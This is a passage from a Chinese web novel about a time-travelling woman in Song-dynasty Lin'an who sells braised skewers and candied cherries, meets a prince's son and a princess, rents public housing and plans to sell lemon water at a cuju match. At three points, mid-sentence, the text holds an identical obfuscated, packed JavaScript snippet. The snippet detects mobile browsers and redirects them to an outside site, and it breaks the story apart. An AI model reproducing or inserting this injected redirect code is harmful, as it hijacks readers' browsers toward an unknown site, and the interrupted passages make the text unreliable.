财赋司则查牙帖，看是否有商家无帖、持假帖经营。 他们财赋司，因来了那位爱睡觉的言郎君，人事上有了大的变动。 如今，除了他，当差的几个人年纪都大，成了家、有了孩子，晚上出来就不方便了。 杨松一个人赤条条的，待在家里也没事儿，便主动揽了这差事，也多赚几文值街费。 他这人最是和气，一路走走逛逛，好些熟悉的商贩与他打招呼，他也报以微笑。 快到傀儡戏台了，忽然，杨松闻见了一股特别的香气。 不是或清淡或馥郁的花香，也不是油荤的肉香，而是一种颇为刺激的、似乎有些辣味儿的香。 抬头看，装饰了大红灯笼的豪奢型摊位里，一位窈窕女娘正在忙碌。 摊子外面，站了个小姑娘。 咦，那是—— 江清澜心里美滋滋的，这才一会儿，串串都快卖了一半了！ 尤其是油卤的素菜串串，好些顾客本是买一串尝尝，结果，人走远了，又倒回来寻。 她的油卤串串，卖的三文钱一串。水果串串也涨了价，最少也两文一串。 现在，钱袋子里，恐怕有三四钱银子了！ 正想着，见一位青色官服的郎君迎面走来。 他长着一张和气的团团脸，眉头却微微皱着。 江清澜想起来了，是那个亲民的“税务局公务员”，笑道：“是杨郎君来了。” 团团也甜甜地喊：“杨阿兄——” 她们哪里知道，此时，杨郎君心里有多么苦涩。 杨松与她们点了点头，又打量起这个摊位来：大红的灯笼、宽敞的空间、桌椅板凳、蒸笼灶炉…… 豪奢型摊位收成了紧凑型的钱，剩下的钱，都是他们垫的！ 他垫得最多，足足一两银子！ 他得巡多久的街才赚得到啊！ 事关言郎君，又不能伸张，打掉了牙只好往肚里咽…… 正想着，那位江娘子已举着两个油纸包出来了： “杨郎君，多亏了你，妾这个摊子才开得起来。这里有两包吃食，是妾自己做的，郎君带回去尝尝。” 杨松忙推辞：“不敢不敢，府署有规定，不可私收商家供奉。” 江清澜是真心感谢他，绝没有想到贿赂二字。 “杨郎君，别客气。什么供奉不供奉的，这几串也就几文钱，我是当送朋友的。你如果尝了觉得好，别忘了替我介绍客人来。” 其实，杨松他们干基层工作的，经常会收到小商贩儿的土特产，不值什么钱。 不涉及银子，府署里也不会干涉，权当是他们工作做得好，人家表示的感谢。 这般想着，那串串又着实诱人——一包辣香扑鼻，引得人满口生津，另一包红红绿绿，还亮闪闪的，似乎是裹着糖衣？——手就接了。 江清澜见状，又介绍道： “这包是油卤的素菜串串，香中带点儿微辣、微麻，下酒啊下饭，都是很好的。” “另一包是水果串串，新鲜水果裹了冰糖做的，酸酸甜甜，杨郎君的孩子定喜欢。” 杨松本笑着，听到最后一句倏的大囧，脸一下就红了： “江娘子说笑了，在下尚未婚配，何来孩子？” 江清澜心里也咯噔一声。 糟了，说错话了！可……实在是，这位公务员长得有点儿……有点儿成熟。 正尴尬着，江清澜想，该说点儿啥，只听有人说道：“哎，是你！” 迎面走来一男一女，一看就是勋贵人家出身。 郎君着油烟墨窄袖圆领襕衫，玉冠束发。英俊流利的脸，在烟火映衬之下，越发好看。 女娘着蜜合色褙子、丁香紫百迭裙，杏眼圆圆，鼻子小巧，很是秀气可爱。 哟，是府署那个帅哥关系户，江清澜点头微笑。 团团本坐着在翻花绳，见谢临川来了，又看呆了。 江清澜忙站在她前面，把这丢人现眼的小花痴挡住了。 谢临川见杨松也在，又道：“你也在。” 杨松吓了一跳，也顾不上有孩子没孩子的囧了，打起了十二分的精神，叉手行了个大礼。 宝庆公主道：“你怎么认识他们？”语气里虽讶异，也带了一丝轻蔑。 这一大一小两个女娘穿着粗布衣服，一看就是市井之人。 男的虽穿着官服，却是青色，品级很低。 但那名大女娘的眼睛异常好看，像是一汪清泉，她不免多看了一眼。 认识，往往跟“朋友”两个字联系在一起。先认识了，才能成为朋友。 在宝庆公主的脑子里，只有同等级的人，才能“认识”，才能成为“朋友”。 是以，看谢临川与这些人熟识，她很惊讶。 其实，谢临川的心思，并不如宝庆公主一般，在江清澜、杨松等人的身上。 一路上，公主与他聒噪个不停，什么哪个颜色的唇脂配哪种裙子、簪芍药花要配什么样式的璞头……他听得脑子嗡嗡的。 走到傀儡戏台前边时，看见那三个人有些眼熟。 他倏的想起，挂红灯笼的摊位，是他亲手办的牙帖。他便想借此机会，把公主的话头岔了去。 他打量了一番小摊： 喜庆的大红灯笼、干净的桌椅、排列整齐的小吃……咦，冰糖樱桃串串？ 颗颗红樱桃排在精致的盒子里，玛瑙一般红润。因裹了糖衣，它们在红灯笼光的照耀下，闪耀着莹润的光泽。 奇巧的心思。 他拿起一串，看那个眼睛异常清明的女子：“这个糖衣樱桃，是你做的？” 自然，江清澜听得出宝庆公主语气里的不满。但她并不在意，见谢临川有意，就笑道： “正是妾做的，只需十文钱一颗。” 谢临川本想让她直接跟他回府，专门做给祖母吃，又觉得宝庆公主在身边，不太方便。 他便想着，反正摊子在这儿，她也跑不掉，待会儿他回了府，再叫平林来请就是了。 “你把这些都包起来，我全要了。” 江清澜眼睛一亮：“好嘞！”麻利地拉着花痴团团回了摊子里，一起去包樱桃。 宝庆公主见状，皱眉道：“你……你吃这个？” 她是娇生惯养长大的，吃东西十分讲究。莫说是外面小摊儿上的东西，便是宫中的东西，换了个御厨做的，她都不吃。 谢临川拿起一个给她看：“殿……” 想到此地人多眼杂，他们又没带几个护卫，便换了个称呼：“阿妹，你尝尝，一定比你以前尝过的好吃。” 宝庆公主本要拒绝，听了“阿妹”两个字，心里甜丝丝的。 “阿妹”并不只指血亲的妹妹，有时候，男子对女子表示亲呢，也称其为“阿妹”。 当下，她便接了樱桃。仔细看了看，确定没有什么尘土秽物，才慢慢送入口中。 先是冰糖外衣的脆。再一嚼，樱桃爆了汁，酸酸甜甜，再混合冰糖的甜，实在美味！ 便是宫中的一等樱桃，也没这滋味！ 宝庆公主伸长了脖子，也开始认真打量起这个小摊儿来。 江清澜把团团留在里面，不让这花痴出来丢人了，自己用个木匣子装了樱桃出来： “郎君，一共二十五颗，二百五十文。这匣子五十文，共三百文。” 谢临川随手一掏，掏出个银锭子，与江清澜一手交钱一手交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626223|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 货。 江清澜一看，眼睛都直了：“这……这银子太多了，我找不开。” 马蹄形的银元宝躺在手心里，闪着银光，散发着巨额财富的钱香味儿。 整整五十两！ 谢临川大手一挥：“不用找了。”说罢，要与宝庆公主一起走了。 江清澜心里怦怦跳，只觉得天上的星星都要落下来了。 三百块钱的东西，给了五万块，这简直就是中彩票！ 她决定再攻略一下这二位贵客。 她飞快地包了些油卤串串，追上他们： “郎君、娘子，五十两实在太多了。不如，权当是预支的，以后一年，二位来买东西，都不必给钱。” 宝庆公主看她一眼，心道：你倒自信，怎知我以后还要来？ 却听她又说：“这是小摊儿新推出的油卤串串，送给二位尝尝。” 几串藕片、几串豆腐、几串豆皮，还有些蘑菇、木耳。 都灰黑灰黑的，不太好看，是以方才他们没买。 但离得近了，一股独特的浓香扑鼻而来，宝庆公主竟然咽了下口水。 谢临川也闻到了，很难说这是什么香，竟然比丰乐楼的焦炙羊脯还诱人。 心思奇巧。他不免又想起了这几个字，看了那女娘一眼。 江清澜笑道：“这是用秘制香料卤制而成的，模样虽不好看，味道是十足好。只是……” 她特意看了宝庆公主一眼。 “只是味道有些重，有麻有辣。若是口味清淡的人，每次须少吃些，最好，先再水里涮一涮再吃。” “吃了油卤串串呢，再吃些甜樱桃，也就不辣了。” 宝庆公主听她言笑晏晏，说得诱人，不自觉就点点头。 待与她分别了，手自然就从油纸包里摸了一根出来。是一串木耳，有三四片，俱是黑黢黢的。 木耳片儿卷卷的窝里还藏了些卤汁，香得诱人。 此时，她哪里还想得起公主的娇矜。也忘了方才那人说的，在清水里涮一涮的事儿。呼噜一口，就吞了一片木耳。 “嘶——好辣——” …… 见人回来了，东平王妃梁氏迎出门来。 只见谢临川一副忍俊不禁、要笑不笑的模样。 宝庆公主戴着幕篱，着急要走，吩咐丫鬟：“快快快，收拾东西，回宫！” 丫鬟回：“之前说要晚些，我们连……” 宝庆公主急得跺脚：“回宫！即刻！马上！” 梁氏深恐儿子又惹了公主不高兴，追到轿子前来：“殿下，可是临川又犯浑了？您别生气，我回去好好说他。” 宝庆公主竟然没让轿子停，一边吸气一边说： “王……妃娘娘，不干他的事，是我自己……我自己。嘶……走快些！” 轿夫脚下发力，一溜烟儿就转到街上，走远了。 东平王妃看着一行人的背影，皱眉不语。 谢临川拎着食盒，正要往祖母的院子去，让王妃拦下了：“你又干了什么事，殿下怎么抬脚便走了？” 谢临川粲然一笑：“她不走干嘛，让大家看她的两片香肠嘴吗？” 香……香肠嘴？王妃不解。 谢临川哈哈大笑： “我们在路上买了些油卤串串。” “我说了，回王府来吃。人家女摊主也说了，口味清淡的人要在水里涮一涮再吃，且吃了串串，得吃点甜食解辣。” “偏她忍不住。看傀儡戏的时候，她就吃了六七串，路上又要吃。” “我本来给祖母带的，都被吃光了。现在，她嘴巴辣得又红又肿，没脸见人了。” “母亲，你说这事儿，能怪我吗？” 梁氏愕然： 这……这还是那个最娇惯、最注重容貌，非净水不饮、非洁食不吃的宝庆公主吗？ 12. 宋代公租房 谢临川走到清心院，还没进门，就听得一阵哈哈大笑。 谢老夫人正在与夏荫等人玩儿关朴。 她见谢临川拎着食盒来，笑道： “快来快来，我正赢了钱，买你手里的东西吃。” 夏荫几个人都是老太太跟前的人，说是关朴，其实就是哄老人家高兴。 她们见得少主人来，俱都退下了。 谢临川打开食盒：“祖母请看。” 盒子里红樱桃如宝石一般，璀璨红艳，颗颗都很大。 谢老夫人还记着这樱桃呢，奇道： “夏荫不是说，那女娘是抱着簸箕卖的，不好找。竟让你找到了？” 谢临川神采飞扬： “那可不是。今天我陪宝庆去中瓦看傀儡戏，看见了那女娘。她已经行商变坐商了。” “您猜怎的？她那摊位的牙帖，还是我在临安府署里，亲手办的呢！” 谢老夫人笑道：“那是真巧了。” 拈起一串樱桃，送入口中，又见孙儿取出了食盒上层。 下面竟还放了几串蘑菇、萝卜，颜色有些黄黄灰灰的，不甚好看，香气倒是浓郁。 “祖母，这是油卤串串。” 谢临川也用江清澜的术语介绍。 “香中带着麻辣味，好吃得很。您放心，这些我都用水涮过了，不像刚出锅的那般辣了。” 谢老夫人吃了一串蘑菇，果然麻辣回香，滋味独特。又吃了一串萝卜。还想再吃木耳，让谢临川挡住了。 他想起宝庆公主的囧态，哈哈大笑：“祖母，您先吃些樱桃。过会儿，再吃油卤串串。不然，就像宝庆那傻丫头了。” 当下三两句，把今天宝庆公主的糗事给说了。 谢老夫人也笑，凝视着盒子里的油卤串串，说： “宝庆公主最是挑剔。连她也受不住这诱惑，说明江娘子的饮食，着实好吃。” 谢临川赞道： “的确！丰乐楼的东西，来来回回就那些，江娘子的新鲜玩意儿倒多，实在有趣。” 谢老夫人凝神片刻，忽的严肃起来，道： “我听说，太子赏了一方端砚给你。我记得，你小时候和三皇子玩得好，怎么现在，倒和太子走得近些了？” 谢临川嘿嘿一笑： “三皇子这个人心机太重，和他说话累得很。太子殿下心地善良，处起来自在些。” 刺的一声，他把油卤串串的竹签扎进桌布里。 “反正我都是玩儿，给他们说些蹴鞠之类的事，无伤大雅。祖母不必担忧。” 谢老夫人却摇了摇头，转而说：“你觉得宝庆公主怎么样？” 谢临川知道她的意思，他父王、母妃知道自己来说不通，就让祖母来问。 当下，他眼神飘忽起来，漫不经心地说： “无聊得很。她非缠着我说什么簪花、穿衣的事，听得我头都大了。” 谢老夫人却不说尚公主的事儿，只道： “宝庆贵为公主，你觉得无聊。江娘子市井草民，你却道有趣。你可知，这是为什么？” 谢临川：“自然是因为江娘子在饮食上花了很多心思，宝庆倚仗的，却只是权势。” 谢老夫人叹口气： “宝庆生来富贵，惯以权势压人。对谁笑一笑，都以为是纡尊降贵了。她哪里知道，百姓在市井里讨生活，有多不容易？” 当年，谢老夫人与第一代东平王谢山，是从底层摸爬滚打上来的，对市井生活很是熟悉。 “我的父亲是农夫。那时候，为了糊口，春种秋收、夏耘冬藏，没有一天闲着的。若是遇上天灾，洪旱蝗虫，颗粒无收，就得饿肚子。” “幸亏现在官家仁慈，轻税薄徭，还积极赈灾，百姓日子才好过点儿。若是几十年前的乱世，哎，不可说……” “像江娘子这般的小生意人，也不容易。一则是要交税，喏，其中之一就是你办的牙帖，二则是，如何在同行中脱颖而出？” “都是卖果子的，为什么你就觉得她的好？只有花心思呀，做梦都得想着这事儿。不然怎么办？她可没有宝庆公主的权势。” 谢老夫人啜了口茶，最后把一根油卤木耳吃了，道： “祖母说句你不喜欢听的。你虽道宝庆无聊、江娘子有趣，但你自己，也跟宝庆公主是一样的。” 谢临川最烦他父王、母妃唠叨，但祖母的话，他还是听的，当下凝神不语。 …… 从清心院出来，已近亥时，外间打起了雨点。谢临川又想起一事，忽的大喊：“平林！” …… 雨淅淅沥沥地下了起来，平林骑着马，火急火燎地赶往中瓦。 傀儡戏台对面的摊子已经空了，几个大红灯笼也熄了火。 平林回去复命：“已经收摊儿了。” 谢临川正在研究火焰队的蹴鞠阵型，见窗外已漫天雨幕，道： “那你明天再去，左右她摊子在那里。找到人了，就请到家里来。” 但一连三天，平林硬是没有找到人。 一是因为这几日都在下小雨，江清澜没有马车，出摊不方便。二是因为，她在忙着租房子。 那天，那两位贵人兄妹走后，杨郎君神思恍惚着，也很快告辞。江清澜把客人送走后，与团团两个躲在摊位里看银子。 摆摊很是顺利，赚了一大堆铜钱，只她们现在没心思数那个。两双眼睛快要喷火出来，死死盯着藤编凳子——那上面，放着一个马蹄形的银元宝。 团团问：“这是多少钱？” 江清澜：“五十两。” 团团：“五十两是多少？” 江清澜开始数：“荔枝水、樱桃汁、桂花酿、酥油茶、青梅饮、肉粉汤，很多很多。” 团团吸溜口水。 江清澜又道：“回锅肉、鱼头煲、羊肉串、牛肉煲、蜜烧鸡、香烤鸭，很多很多。” 团团吞咽唾沫。 江清澜再道：“热水澡、香胰子、红头绳、绒线花、新衣服、香被子，很多很多。” 团团瞪大眼睛，露出神往之色。 自家里出事以来，她们都是在澡堂子里匆匆解决，好久没有搭上大木桶、撒满香花瓣，痛痛快快地泡过澡了。 “最重要的是，”江清澜有些激动，“我们可以赁屋子了！” 没有蜗居过的人，是不知道拥有一个自己的屋子，是多么的幸福。 偏江清澜知道。 上辈子，她的父母离了婚，各自组建了家庭。从上大学起，她就没怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626224|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回过“家”。因那“家”，也不是自己的。 可学校的宿舍，也不能说是“家”，因为没有私人空间。从大学的八人间，到硕士的四人间，终于熬到了博士，还是两人间。 幸好，她的博士舍友不在学校住，她才真正有了自己的小窝——一个可以放心笑、放心哭的地方。 但才在温馨小窝住了一年，她就穿来了这里，又住进了大通铺。 但是，现在，一切都要变了！ 这几天老是下小雨，江清澜与团团打着伞，硬是把城里的楼务店跑了个七七八八，弄清楚了情况。 临安城的房价高，买不起房的人很多。但人，又必须有房子住，这是刚性需求。租房事业应运而生。 跟现代一样，此时的租房也分为府署的公租房、普通人的私租房两种。但不同的是，公租房似乎更多，其制度也更完备。 随便去一个楼店务打听，各种类型的公租房应有尽有。四五百文一月是小单间，几十两银子一月的是大院子。 这些房子，有些是临安府署出资修的廉租房。 有些是百姓借了官债又还不起，被没收抵债的。 还有些，便像江清澜原身家一样，犯了事儿，被查抄充公的。 江清澜她们东看西看，挑花了眼，最后定了城北钱塘门里江米巷的一处小院子。 这个地方离中瓦和西湖都不算远，算是好地段，是以，市价要二两银子。但因是政府公屋，每月只需一两半。 江清澜作为和离女，上无父母公婆，中无家族男兄，下无子嗣依傍，算是“鳏寡孤独”中的“寡人”。 可以单独立“女户”不说，还能享有公屋打折的优惠——江米巷那个院子，只需一两银子。 听楼店务的牙人介绍到这里，江清澜心头窃喜：没想到，离婚还有这好处。 此外，公屋还有一个好处，便是不怕房东随意涨价，或是违反合约，逼人搬迁。 但公屋的坏处，也不是没有。其中之一便是，得长租。租金一次性得交一年的。 故而，光租这院子，她就花了十二两银子。 江清澜两姐妹行李不算多，从楼店务办了手续、拿了江米巷这边的钥匙，草草打扫了院子，就从青莲庵搬了进去。 说是院子，其实只有三间房。院门进来是正厅，左边是厨房，右边则是一件小卧室。 三间屋子与院墙一起，围成个“口”字，这便是院子。 幸好，屋里有些简单的锅灶，余下的东西慢慢置办就是了。 家里出事前，团团小姑娘也是金尊玉贵、呼奴喝婢的，出事后迅速长大了，洒扫、收拾行李，跑来跑去，懂事极了。 这会子，终于搬完了，她累得摊在椅子上，抖动着两只小胖腿儿歇气。 江清澜也累坏了，但心里美滋滋的。这下子，她有了钱，有了房子，腰杆硬了，该满足一下口腹之欲了：“走，我们买肉去！” “肉？”团团咽了一口吐沫。 住在建隆寺、青莲庵，没法子自己做肉，她好些天没吃上肉了。 听了这句，她猛的从椅子上跳下来。“有肉吃了？” 江清澜眼神坚定、语气铿锵：“有！” “吃肉！大大地吃！狠狠地吃！猛猛地吃！” 13. 苕皮蒜苗回锅肉 住在江米巷，生活比青莲庵更加方便。 出门便是菜市。 江清澜买了些猪肉、蒜苗、芡粉，以及一些时蔬小菜。 加上给团团买的火烧馍，一共花了三十来文钱。 以她如今的积蓄，这个花销并不算多。于是，走到卖牛羊肉的摊儿前，她又迈不动步子了。 比起猪肉，她更喜欢吃牛羊肉。 以前在学校里，食堂吃腻了，她隔三差五就要去吃牛羊汤锅——养生鲜汤黄牛肉、广东牛肉牛杂煲、老北京涮羊肉。 这些不同风味的牛羊肉，有的清鲜，有的浓郁。有的蘸香喷喷的芝麻，有的配碧油油芫荽。 各有各的曼妙滋味。 跟上辈子一样，此时的牛羊肉，比猪肉贵得多。 刚才她问了，猪肉只需二十文一斤，牛肉却要五十文，羊肉甚至达到了七十文一斤。 饶是如此，看着肉摊儿上，呈玫瑰红色的牛羊肉，江清澜已经脑补了它们做成牛肉火锅、羊肉烧烤时的样子。 团团也眼巴巴地望着。 江清澜本在犹豫，见此场景，一咬牙，唤摊主：“来两斤牛肉、一斤羊肉！” 是谁说要狠狠地吃肉、猛猛地吃肉的？ 就要吃！赚钱就是为了吃！ …… 回了家，先解决猪肉。她早打算好了，做蒜苗回锅肉吃。 回锅肉是四川的一道名菜。五花肉须先煮后炒，两次入锅，故名“回锅”。 此菜咸鲜油香、重盐重油、微辣回甜，是下酒之精华，佐饭之良品，最适合江清澜她们这种，久没尝肉味儿的人。 有以五花肉配莲花白的，名莲白回锅；有配青椒的，名青椒回锅；而江清澜最爱的，还是苕皮蒜苗回锅。 煮好的五花肉切薄片，让每片都是半肥半瘦。再下锅，以小火爆香。 像江清澜这等厨艺高超的，能熟练掌握油爆肉的火候，能使每一片肉卷成灯盏窝儿状。 成品入口之时，只觉肉质劲道入味，不知瘦肉干柴；只觉油香嫩滑爽口，不知间有肥肉。 这半肥半瘦的肉，再加一溜儿煮得软糯的皮，每多嚼一口，都多一份香。是以，佐饭下酒，越吃越开心。 再说苕皮。它是以红薯粉兑水，入锅烙制而成的。 重庆小吃摊爱以苕皮包裹酸辣萝卜、折耳根、粉蒸肉等物，放炭火上烤，谓之“烤苕皮”。 成都人却爱以之炒回锅肉。 这摊得好的苕皮，薄薄一层，软软糯糯。 在五花肉的油锅里一煎，吸满了花椒、姜片等佐料的香味，以及剁碎了的豆瓣酱熬成的汁水。 立刻变得晶晶亮亮、灰中带红，且十分入味。 还有青蒜苗，也是这道菜的必备。 蒜苗须得白头、青苗皆有，拍后切为斜段，充分暴露出蒜香。在五花肉片、苕皮均炒制好后，才放入。炒几下，断了生就可以装盘了。 这道四川名菜，可谓是色香味俱全。 肉片染了浓郁的豆瓣酱汁，晶莹红亮。苕皮软糯入味儿。蒜苗白青相间，煞是好看。 食材与各种调料的香，更是经久不散，溢满了整间屋子。 江清澜她们中午就吃了个油饼，搬家忙到现在，饿得前胸贴后肚了，就盼着这口油大的。 苕皮回锅肉出了锅，雨也停了，太阳从云里冒了一点儿头。她们端着饭菜，到院子里去吃。 团团虽然饿得慌，江家家教之下，还是很斯文，用筷子夹着吃。 江清澜教她：“这回锅肉的油水最香了，拌饭极为好吃。” 用勺子舀了些，盖在二人碗里的白米饭上。 灯盏窝儿状的回锅肉，Q弹软糯、浅灰半透明的苕皮，油浸浸、绿油油的蒜苗，还有颗颗黑色的豆豉，全盖在了饭上。 那些吸饱了豆瓣酱及各色调料的油汤油水，把香喷喷的白米饭浸得红红的。 江清澜用筷子把菜、肉、饭、油拌了拌，让这些东西囫囵混在一起，道：“团团，你知不知道饕餮是什么？” 团团道：“知道，就是一个很凶的怪兽。” 以前，教养嬷嬷教她，吃饭、喝水要慢慢地吃、斯文地吃，不能太粗鲁。不然，怪兽饕餮就要来把她吃掉。 江清澜摇头：“不对。”忽的猛刨一口饭，大口嚼了，给妹妹看，“这就是饕餮。吃饭的时候当饕餮，可自在了。” 团团瞪大了眼睛，这般吃饭，还是她那个斯文、知礼的姐姐吗？ 江清澜知她所想。 她眯着眼睛，抬头看了一眼云层里隐隐的太阳，莞尔一笑：“妹妹，我们都是经历了大变故的人了。” “有太阳就要晒，有美食就要大口大口地吃！不然，枉来了这人世一遭！” 团团似懂非懂，但也依葫芦画瓢，捧起碗就刨饭。 太好吃了！ 她越刨越快，小嘴油油的不说，一粒米还粘在了鼻子上。 江清澜哈哈大笑，帮她把米拈了，道：“在外面，咱们还是斯文些。但进了这个院子，把门一关，咱们就这么吃饭。” 团团嘴里塞满了，说不出话来，只重重地点了头：“嗯！” —— 黄昏时分，中瓦。 傀儡戏台边上，一个着青布衣服的小少年正倚靠着打盹儿。听见吱溜一声响，他猛的惊醒。 对面，有一大一小两个女娘。 扁担竖在侧壁。两个竹篓筐里，各摆着一个大大的食盒，窈窕的女娘正在开门，矮胖的小女娘紧紧跟着。 门是木头做的，年生久了没上油，那声吱溜响，正是开门的声音。小少年见她们来了，瞪大了眼睛，然后飞一般地跑了。 他都等了三天了，终于等到了，快回去告诉平林哥哥！ 江清澜两姐妹，却不知道发生了什么，自顾自地收拾着摊子。 刚送走了一波客人，两个少年骑着马来了，到了摊子前，也不下马。 其中一人大喇喇地一挥手：“娘子，你的好运来了，收拾东西，跟我去王府吧！” 江清澜细细打量：他们的头发梳得工整，着的是细布棉衣。胯.下的马矫健昂扬。尤其是，他们的眉间有一股倨傲之色。 高门豪奴。 江清澜自来了此处，一直在努力适应。 封建社会中，等级大过天。普通人之间，交往还是适恰。但贵人阶层对平民，便如前些天的那位紫裙小女娘对他们一般，永远是用鼻孔看人的。 这些豪奴，便是分了主人的权势，也带了倨傲。 其实，平林、陌山作为东平王府世子爷的一等小厮，是该有这份做派的。 常人道：宁娶大家奴，不要小家玉。便是说，大户人家的奴婢，都比小户人家的主子，见的世面多。 这还是女娘。他二人作为郎君，跟在谢世子身边，见的世面更多了。 但江清澜不是常人，眨眨眼：“贵人临贱地，妾不胜惶恐。敢问二位郎君，是哪个王府？” “哪个王府？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626225|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”陌山有点儿无语，他腰上悬着东平王府的牌子，通临安城的人都知道！ 这人……也许是外地来的吧。 “便是西湖边上的东平王府。”平林脾气好些，耐心解释。 江清澜思索了一回。刚出陆家那天，在嘉会门外遇见了一群骑马的少年，钱娘子那时候便说，那是东平王府的谢世子…… 陌山不耐烦了。 他们东平王府是泼天的富贵之所，旁人挤破了脑袋也进不去，这人竟这般不知好歹？眼珠子滴溜乱转，不知在盘算什么！ 当下，他皱眉道：“磨蹭什么？！”俨然一副颐指气使的模样。 平林补充道：“娘子觉得如何？有要求都可以提的。” 江清澜微微一笑，心道：东平王府的人，不管是主子，还是奴仆，都喜欢骑着马耍跋扈呢。 …… 二人回了王府。 平林跪在地上：“世子爷，江娘子不愿入府。” 此时，谢临川正在看几天后蹴鞠决赛者的名单，手指在一个姓刘的名字上点了点。 闻得此言，他很是惊讶：“不愿？” 以东平王府的富贵，主子们随手赏的银子，都比外面挣的，多得多。是以，人人求之不得。 便像建隆寺里的那个谁，马上就应了。没想到，竟然还有不愿的。 “可是嫌月钱少？” “不是不是，”平林忙道，“都给到和我一般的月钱了。只江娘子说……说……” “说什么？”谢临川最烦人吞吞吐吐。 “江娘子说，非是她不愿，实在是不能。她以前腰和膝盖受过伤，不能躬身，也不能下跪。” “但在王府里做事，少不得要躬身、下跪的。为免冲撞贵人，她还是不来了。” “竟有这种事？” 谢临川有点儿不信。怎会有人刚好伤到这两个地方？便是有，那也瘫痪在床了。她分明健步如飞。 “当然有了！”平林急于把自己择出来，信誓旦旦地说，“我原来认识一个人，他从高处摔下来……” 一个纸团扔过来，正中眉心。平林“哎哟”一声，捂住额头。 “扯牛皮呢，扯那么远。” 平林惴惴道：“是。江娘子说，左右她在中瓦，王府的贵人有什么想吃的，直接去买也是一样的。” “我当时就问她，前几天怎的中瓦没人。她说，是下雨没出摊儿。又说，只要不下雨，她都在中瓦那摊子里。” “只有逢着盛会、大赛，她要去人多的地方摆摊儿。过两天有蹴鞠赛，她就不去中瓦，而要去西山蹴鞠场。” 对那江娘子，谢临川也不是多有兴趣。他只是好奇，竟有人会拒了东平王府，便多问了一嘴。 当下，听平林颠三倒四地说了一大通，他有点儿不耐烦了。正要让人滚，听到蹴鞠场三个字，他又来了精神。 是了，之前她去府署办牙帖的时候，就在问杨郎君蹴鞠的事儿，为着这个，他还专门站起来看了几眼。 他当是什么，原来是想去摆摊儿，真是掉钱眼儿里了。 他轻蔑一笑，认真看起手里的蹴鞠队员名单来。 窗外花影扶疏，树枝间漏下的天光，在桌上洒下点点斑驳。 忽的，他又想起祖母之前的话：“只有花心思呀，做梦都得想着这事儿。” 他又笑了，露出雪白的牙齿，嘴角两个深深的酒窝。果然，她天天想着赚钱这事儿呢。 “算了，不去管她了。” 14. 冰爽柠檬水（一） 赁了屋子后，江清澜的生活方便多了。 是以，前几日，除了添置锅碗瓢盆、被褥衣裳等必用品之外，她还买了一套笔墨纸砚，并几本闲书。 买书不是为了看，而是为了学写繁体字。 要当好生意人，写字是必不可少的。算账、记账、签契约、写广告，都需要写字。 好在，江清澜底子不错，毛笔字学的柳体，繁体字也认识。 现在，中瓦的生意只做晚上，白天她有大把的时间可以练字。 如此这般，没花几天时间，她已经把常用的繁体字学得差不多了。 这天下午，她在纸上写了好些大字，把骑在门槛上翻花绳的团团喊来： “阿妹，你认识这几个字吗？” 团团发蒙早，虽然不会写，却认识，歪着头念道：“补充强劲活力，射.门充满能量。” 又看，一张横着的字条上写着“冰爽柠檬水”。 团团思索：“咦，这个柠檬水是什么，好像喝了能让人变强似的。” 江清澜喜上眉梢，广告要的就是这个效果！ 她与妹妹解释：“是一种酸甜饮子，蹴鞠员喝了，会更有力气。” 她打听过了，嘉会门外的西山蹴鞠场场内不可售卖正食，只能卖瓜子等零嘴，以及饮子。 但此种限制，不涉及楼上的包厢。毕竟包厢里，都是达官贵人，他们自会请丰乐楼送外卖。 瓜子、饮子等的售卖，赛事主办方并不垄断，场内有临安府署官设的摊位。 只是，瓜子、饮子，再怎么卖也翻不出花样来。 无非就是谁家的炒得更香，谁家的饮子更甜。 再说了，大伙儿的注意力都在场上的比赛，对饮食的需求并不是很大。 但这正给了江清澜机会。 踢足球对体能消耗巨大，卖运动饮料啊！ 她打听过了，每场比赛，到后期，都有些蹴鞠员体力不支，甚至被抬下场。 是以，与现代足球赛不同，此时的蹴鞠赛，有特别多的替补队员。 体力不支的蹴鞠员下场后，大夫应对之法也很简单，就是让他们吃东西。 但人在剧烈运动之后，只想喝水，很难快速吃下东西。 于是，这些蹴鞠员只好下场，让替补队员顶上。 作为现代人，江清澜不看足球赛也知道，这是缺少电解质了。 剧烈运动后，人体不止丧失水分，还流失了大量的钙、钾等微量元素。 这样，便会精神不振、体力不支。 喝电解质水，就能解决这个问题。最简单的，就是加了盐的柠檬水。 柠檬富含维生素C，盐中有钾，能补充快速流失的水分、矿物质。 江清澜想起生意，就神游天外、眼冒精光。 忽的，一颗毛茸茸的脑袋凑上来：“阿姐，我怎么觉得，有点煳味儿？” 